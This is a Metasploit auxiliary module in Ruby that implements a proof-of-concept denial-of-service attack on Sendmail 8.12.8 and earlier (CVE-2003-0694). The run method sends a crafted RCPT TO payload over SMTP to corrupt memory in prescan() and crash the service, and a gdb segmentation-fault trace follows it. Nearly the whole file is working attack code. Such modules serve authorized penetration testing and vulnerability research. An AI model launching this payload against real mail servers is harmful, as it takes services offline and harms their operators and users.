1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Smtp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Sendmail SMTP Address prescan Memory Corruption',
15
        'Description' => %q{
16
          This is a proof of concept denial of service module for Sendmail versions
17
          8.12.8 and earlier. The vulnerability is within the prescan() method when
18
          parsing SMTP headers. Due to the prescan function, only 0x5c and 0x00
19
          bytes can be used, limiting the likelihood for arbitrary code execution.
20
        },
21
        'Author' => [ 'aushack' ],
22
        'References' => [
23
          [ 'OSVDB', '2577' ],
24
          [ 'CVE', '2003-0694' ],
25
          [ 'BID', '8641' ],
26
          [ 'EDB', '24' ]
27
        ],
28
        'DisclosureDate' => '2003-09-17',
29
        'Notes' => {
30
          'AKA' => ['EARLYSHOVEL'],
31
          'Stability' => [CRASH_SERVICE_DOWN],
32
          'SideEffects' => [],
33
          'Reliability' => []
34
        }
35
      )
36
    )
37
  end
38

39
  def run
40
    connect
41
    # we use connect instead of connect_login,
42
    # because we send our own malicious RCPT.
43
    # however we want to make use of MAILFROM
44
    # and raw_send_recv()
45
    # select(nil,nil,nil,23) # so we can attach gdb to the child PID
46

47
    sploit = ('A' * 255 + ';') * 4 + 'A' * 217 + ';' + "\x5c\xff" * 28
48

49
    raw_send_recv("EHLO X\r\n")
50
    raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
51
    print_status('Sending DoS packet.')
52
    raw_send_recv("RCPT TO: #{sploit}\r\n")
53

54
    disconnect
55
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
56
    print_status("Couldn't connect to #{rhost}:#{rport}")
57
  rescue ::EOFError
58
    print_status('Sendmail stopped responding after sending trigger - target vulnerable.')
59
  end
60
end
61

62
=begin
63
Program received signal SIGSEGV, Segmentation fault.
64
0x8073499 in ?? ()
65
(gdb) bt
66
#0   0x807e499 in ?? ()
67
#1   0x087e125 in ?? ()
68
#2   0x5c5c5c5c in ?? ()
69
Error accessing memory address 0x5c5c5c5c: Bad address.
70
=end
71

72